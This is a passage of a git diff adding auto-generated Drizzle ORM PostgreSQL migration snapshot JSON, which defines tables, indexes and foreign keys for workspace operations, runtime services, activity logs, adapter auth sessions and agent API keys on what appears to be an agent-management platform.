+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_started_idx": {
+          "name": "workspace_operations_company_workspace_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_issue_started_idx": {
+          "name": "workspace_operations_company_workspace_issue_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_operations_company_id_companies_id_fk": {
+          "name": "workspace_operations_company_id_companies_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_issue_id_issues_id_fk": {
+          "name": "workspace_operations_issue_id_issues_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_runtime_services": {
+      "name": "workspace_runtime_services",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "service_name": {
+          "name": "service_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lifecycle": {
+          "name": "lifecycle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "port": {
+          "name": "port",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_run_id": {
+          "name": "started_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stop_policy": {
+          "name": "stop_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure": {
+          "name": "exposure",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure_handle": {
+          "name": "exposure_handle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "backend_url": {
+          "name": "backend_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_runtime_services_company_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_execution_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_execution_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_project_status_idx": {
+          "name": "workspace_runtime_services_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_run_idx": {
+          "name": "workspace_runtime_services_run_idx",
+          "columns": [
+            {
+              "expression": "started_by_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_updated_idx": {
+          "name": "workspace_runtime_services_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_runtime_services_company_id_companies_id_fk": {
+          "name": "workspace_runtime_services_company_id_companies_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_id_projects_id_fk": {
+          "name": "workspace_runtime_services_project_id_projects_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": {
+          "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_issue_id_issues_id_fk": {
+          "name": "workspace_runtime_services_issue_id_issues_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_owner_agent_id_agents_id_fk": {
+          "name": "workspace_runtime_services_owner_agent_id_agents_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "started_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    }
+  },
+  "enums": {},
+  "schemas": {},
+  "sequences": {},
+  "roles": {},
+  "policies": {},
+  "views": {},
+  "_meta": {
+    "columns": {},
+    "schemas": {},
+    "tables": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/db/src/migrations/meta/0223_snapshot.json b/packages/db/src/migrations/meta/0223_snapshot.json
new file mode 100644
index 00000000000..63537eac49b
--- /dev/null
+++ b/packages/db/src/migrations/meta/0223_snapshot.json
@@ -0,0 +1,39748 @@
+{
+  "id": "d925c84b-41b6-42d1-a0f9-4ee090ef3cd1",
+  "prevId": "0df620d7-2e5a-4304-a98e-36c8bc550010",
+  "version": "7",
+  "dialect": "postgresql",
+  "tables": {
+    "public.activity_log": {
+      "name": "activity_log",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_id": {
+          "name": "entity_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "activity_log_company_created_idx": {
+          "name": "activity_log_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_agent_created_idx": {
+          "name": "activity_log_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_responsible_user_created_idx": {
+          "name": "activity_log_company_responsible_user_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_run_id_idx": {
+          "name": "activity_log_run_id_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_entity_type_id_idx": {
+          "name": "activity_log_entity_type_id_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "entity_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "activity_log_company_id_companies_id_fk": {
+          "name": "activity_log_company_id_companies_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_agent_id_agents_id_fk": {
+          "name": "activity_log_agent_id_agents_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_run_id_heartbeat_runs_id_fk": {
+          "name": "activity_log_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.adapter_auth_sessions": {
+      "name": "adapter_auth_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promotion_expires_at": {
+          "name": "promotion_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "adapter_auth_sessions_company_status_idx": {
+          "name": "adapter_auth_sessions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_company_adapter_active_uq": {
+          "name": "adapter_auth_sessions_company_adapter_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_environment_idx": {
+          "name": "adapter_auth_sessions_environment_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_expires_idx": {
+          "name": "adapter_auth_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_provider_lease_idx": {
+          "name": "adapter_auth_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "adapter_auth_sessions_company_id_companies_id_fk": {
+          "name": "adapter_auth_sessions_company_id_companies_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "adapter_auth_sessions_environment_id_environments_id_fk": {
+          "name": "adapter_auth_sessions_environment_id_environments_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_api_keys": {
+      "name": "agent_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_config": {
+          "name": "scope_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_api_keys_key_hash_idx": {
+          "name": "agent_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_api_keys_company_agent_idx": {
+          "name": "agent_api_keys_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_api_keys_agent_id_agents_id_fk": {
+          "name": "agent_api_keys_agent_id_agents_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_api_keys_company_id_companies_id_fk": {
+          "name": "agent_api_keys_company_id_companies_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_config_revisions": {
+      "name": "agent_config_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'patch'"
+        },
+        "rolled_back_from_revision_id": {
+          "name": "rolled_back_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changed_keys": {
+          "name": "changed_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "before_config": {
+          "name": "before_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "after_config": {
+          "name": "after_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_config_revisions_company_agent_created_idx": {
+          "name": "agent_config_revisions_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_config_revisions_agent_created_idx": {
+          "name": "agent_config_revisions_agent_created_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_config_revisions_company_id_companies_id_fk": {
+          "name": "agent_config_revisions_company_id_companies_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_memberships": {
+      "name": "agent_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_memberships_company_user_idx": {
+          "name": "agent_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_starred_idx": {
+          "name": "agent_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
